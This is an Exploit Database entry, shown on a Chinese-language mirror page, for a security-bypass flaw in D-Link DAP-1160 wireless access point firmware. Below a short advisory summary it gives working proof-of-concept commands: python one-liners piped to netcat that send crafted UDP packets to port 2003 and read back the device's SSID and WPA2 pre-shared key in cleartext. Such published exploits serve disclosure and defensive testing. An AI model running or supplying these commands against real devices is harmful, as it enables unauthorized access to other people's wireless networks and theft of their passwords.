D-Link DAP-1160 Wireless Access Point – DCC Protocol Security Bypass

• Exploit Database
• 121 阅读

• 作者： Cristofaro Mune
  日期： 2010-06-28
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/34208/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

  source: https://www.securityfocus.com/bid/41187/info   The D-Link DAP-1160 wireless access point (WAP) is prone to a security-bypass vulnerability.   Remote attackers can exploit this issue to bypass security restrictions, access certain administrative functions, alter configuration, or trigger a denial-of-service condition.   D-Link DAP-1160 running firmware v120b06, v130b10, and v131b01 are vulnerable.   python -c &apos;print "\x05" + "\x00" * 7&apos; | nc -u <IP_ADDR> 2003   python -c &apos;print "\x03" + "\x00" * 7 + "\x21\x27\x00"&apos; | nc -o ssid.txt -u <IP_ADDR> 2003 cat ssid.txt (cleartext SSID displayed after "21 27 xx xx" in the received datagram)   python -c &apos;print "\x03" + "\x00" * 7 + "\x23\x27\x00\x00\x24\x27\x00"&apos; | nc -u -o pass.txt <IP_ADDR> 2003 cat pass.txt (cleartext WPA2 PSK displayed after "24 27 xx xx" in the received datagram)